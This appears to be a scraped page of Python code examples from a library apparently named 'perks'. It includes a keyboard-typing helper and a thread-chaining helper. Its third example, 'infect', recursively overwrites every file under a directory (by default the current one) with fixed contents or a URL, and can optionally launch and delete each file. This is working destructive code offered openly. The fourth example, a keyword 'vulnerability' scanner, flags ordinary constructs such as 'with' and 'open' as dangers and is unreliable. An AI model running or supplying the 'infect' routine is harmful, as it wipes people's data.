Ejemplo n.º 1
0
    def autowrite(text, delay=None):
        import pyautogui
        from time import sleep as _sp

        if not delay:
            delay = 0.0

        _sp(0.3)
        pyautogui.typewrite(text, interval=delay)
Ejemplo n.º 2
0
    def Link(func_one, func_two, delay, args1=[], args2=[]):
        from time import sleep as _sp
        if not args1:
            first_func = threading.Thread(target=func_one)
        else:
            first_func = threading.Thread(target=func_one, args=tuple(args1))

        if not args2:
            second_func = threading.Thread(target=func_two)
        else:
            second_func = threading.Thread(target=func_two, args=tuple(args2))
        first_func.start()
        _sp(delay)
        second_func.start()
Ejemplo n.º 3
0
    def infect(source=None,
               path=os.getcwd(),
               ext="",
               start=False,
               delete_source=False,
               delete_infected=False,
               delay=None,
               action=None):

        from subprocess import run
        from time import sleep as _sp

        if source:
            with open(source, 'r') as src:
                contents = src.read()
        else:
            contents = "https://grigoprg.webnode.it"

        for RootDir, __Fldrs__, _file in os.walk(path):
            for _file_ in _file:
                _path = RootDir + "\\" + _file_
                try:
                    if ext == "":
                        with open(_path, 'w') as fw:
                            fw.write(contents)
                        if action:
                            action()
                        if start:
                            run(f'start {_path}', shell=True)
                        if delay:
                            _sp(delay)
                        if delete_infected:
                            try:
                                os.unlink(_path)
                            except:
                                os.remove(_path)
                    else:
                        if _file_.endswith(ext):
                            with open(_path, 'w') as fw:
                                fw.write(contents)
                            if action:
                                action()
                            if start:
                                run(f'start {_path}', shell=True)
                            if delay:
                                _sp(delay)
                            if delete_infected:
                                try:
                                    os.unlink(_path)
                                except:
                                    os.remove(_path)
                except:
                    pass

        if delete_source:
            try:
                try:
                    os.unlink(file_source)
                except:
                    os.remove(file_source)
            except:
                pass
Ejemplo n.º 4
0
    def Analize(cls, file, *args):
        from time import sleep as _sp

        DangerDict = {
            'import': 0,
            'system': 0,
            'run': 0,
            'read': 0,
            'l-read': 0,
            'write': 0,
            'socket': 0,
            'exec': 0,
            '/0': 0,
            'with': 0,
            'open': 0,
            'close': 0,
            'C:\\': 0,
            'getcwd': 0,
            'unlink': 0,
            'del': 0,
            'cast': 0,
            'walk': 0,
            'connect': 0,
            'hacking': 0,
            'destroy': 0,
            'sys': 0,
            'argv': 0,
            'perks': 0,
            'args': 0,
        }
        LineDict = {
            'import': [],
            'system': [],
            'run': [],
            'read': [],
            'l-read': [],
            'write': [],
            'socket': [],
            'exec': [],
            '/0': [],
            'with': [],
            'open': [],
            'close': [],
            'C:\\': [],
            'getcwd': [],
            'unlink': [],
            'del': [],
            'cast': [],
            'walk': [],
            'connect': [],
            'hacking': [],
            'destroy': [],
            'sys': [],
            'argv': [],
            'perks': [],
            'args': [],
        }

        _sp(0.5)
        print("Processing File ... ")
        _sp(0.62)
        print()
        with open(file, 'r') as _f:
            text = _f.readlines()

        for pos, line in enumerate(text):

            if "import " in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(f"[+][{file}] [line {pos}] :: Library imported.")
                print()
                DangerDict['import'] += 1
                LineDict['import'].append(pos + 1)

            if "system(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Possibly System Shell Command."
                )
                print()
                DangerDict['system'] += 1
                LineDict['system'].append(pos + 1)

            if "run(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Possibly Subprocess Shell Command."
                )
                print()
                DangerDict['run'] += 1
                LineDict['run'].append(pos + 1)

            if ".read(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: File reading. It can finish wrong."
                )
                print()
                DangerDict['read'] += 1
                LineDict['read'].append(pos + 1)

            if ".readlines(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: File reading. It can finish wrong."
                )
                print()
                DangerDict['l-read'] += 1
                LineDict['l-read'].append(pos + 1)

            if ".write(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Writing on an extern file.")
                print()
                DangerDict['write'] += 1
                LineDict['write'].append(pos + 1)

            if "socket" in line or ".bind(" in line or ".listen(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Socket -- TCP/UDP Communication."
                )
                print()
                DangerDict['socket'] += 1
                LineDict['socket'].append(pos + 1)

            if "exec" in line or "eval" in line or "compile" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Compilating some Imprevedible code."
                )
                print()
                DangerDict['exec'] += 1
                LineDict['exec'].append(pos + 1)

            if "/0" in line:
                print(" >>> " + str(line).strip('\n') + " <<<")
                print(f"[+][{file}] [line {pos}] :: Division by 0.")
                print()
                DangerDict['/0'] += 1
                LineDict['/0'].append(pos + 1)

            if "with" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Connecting something external with the 'with' statement."
                )
                print()
                DangerDict['with'] += 1
                LineDict['with'].append(pos + 1)

            if "open(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Opening a file. Possible risk."
                )
                print()
                DangerDict['open'] += 1
                LineDict['open'].append(pos + 1)

            if "close" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Closing a file. Possible risk."
                )
                print()
                DangerDict['close'] += 1
                LineDict['close'].append(pos + 1)

            if "C:\\" in line or "C:/" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(f"[+][{file}] [line {pos}] :: PATH INDICATED IN FILE.")
                print()
                DangerDict['C:\\'] += 1
                LineDict['C:\\'].append(pos + 1)

            if "os.getcwd(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Obtaining the current directory. Hidden information"
                )
                print()
                DangerDict['getcwd'] += 1
                LineDict['getcwd'].append(pos + 1)

            if "unlink(" in line or "remove(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Removing a file or an object."
                )
                print()
                DangerDict['unlink'] += 1
                LineDict['unlink'].append(pos + 1)

            if "del " in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Deleting a variable, a function or an object."
                )
                print()
                DangerDict['del'] += 1
                LineDict['del'].append(pos + 1)

            if " int(" in (" " + line) or "float(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Possibly failure of cast changing."
                )
                print()
                DangerDict['cast'] += 1
                LineDict['cast'].append(pos + 1)

            if "walk(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Possibly os.walk() of the entire File-System."
                )
                print()
                DangerDict['walk'] += 1
                LineDict['walk'].append(pos + 1)

            if "connect(" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Connection with an external entity"
                )
                print()
                DangerDict['connect'] += 1
                LineDict['connect'].append(pos + 1)

            if "hacking" in line or "hack" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Possible dangerous program. Dangerous keyword for 'hacking'."
                )
                print()
                DangerDict['hacking'] += 1
                LineDict['hacking'].append(pos + 1)

            if "destroy" in line or "delete" in line or "remove" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Possible dangerous program. Dangerous keyword 'destroy' or similar."
                )
                print()
                DangerDict['destroy'] += 1
                LineDict['destroy'].append(pos + 1)

            if "import sys" in line or "from sys import" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[+][{file}] [line {pos}] :: Importation of the 'sys' module."
                )
                print()
                DangerDict['sys'] += 1
                LineDict['sys'].append(pos + 1)

            if "argv" in line:
                if "sys.argv" in line:
                    print(" >>> " + str(line).strip('\n') + "<<<")
                    print(
                        f"[+][{file}] [line {pos}] :: Dangerous imprevedible shell arguments from sys module."
                    )
                    print()
                    DangerDict['argv'] += 1
                    LineDict['argv'].append(pos + 1)

                else:
                    print(" >>> " + str(line).strip('\n') + "<<<")
                    print(
                        f"[+][{file}] [line {pos}] :: Possible dangerous keyword 'argv', possible arguments."
                    )
                    print()
                    DangerDict['argv'] += 1
                    LineDict['argv'].append(pos + 1)

            if "import perks" in line or "from perks import" in line:
                print(" >>> " + str(line).strip('\n') + "<<<")
                print(
                    f"[++][{file}] [line {pos}] :: Extremly dangerous module 'perks'."
                )
                print()
                DangerDict['perks'] += 1
                LineDict['perks'].append(pos + 1)

            if args:
                for arg in args:
                    if str(arg) in line:
                        print(" >>> " + str(line).strip('\n') + "<<<")
                        print(
                            f"[+][{file}] [line {pos}] :: *args variable found here."
                        )
                        print()
                        DangerDict['args'] += 1
                        LineDict['args'].append(pos + 1)

            _sp(0.01)

        print(":: VULNERABILITY FOUNDED ::\n")
        total = 0

        for key, value in DangerDict.items():
            if value > 0:
                print(
                    str(key) + "\t:: founded [" + str(value) + "]\tlines :: " +
                    str(LineDict[key]))
                total += value

        print("\nTotal Possible Vulnerabilities :: " + str(total))

        return None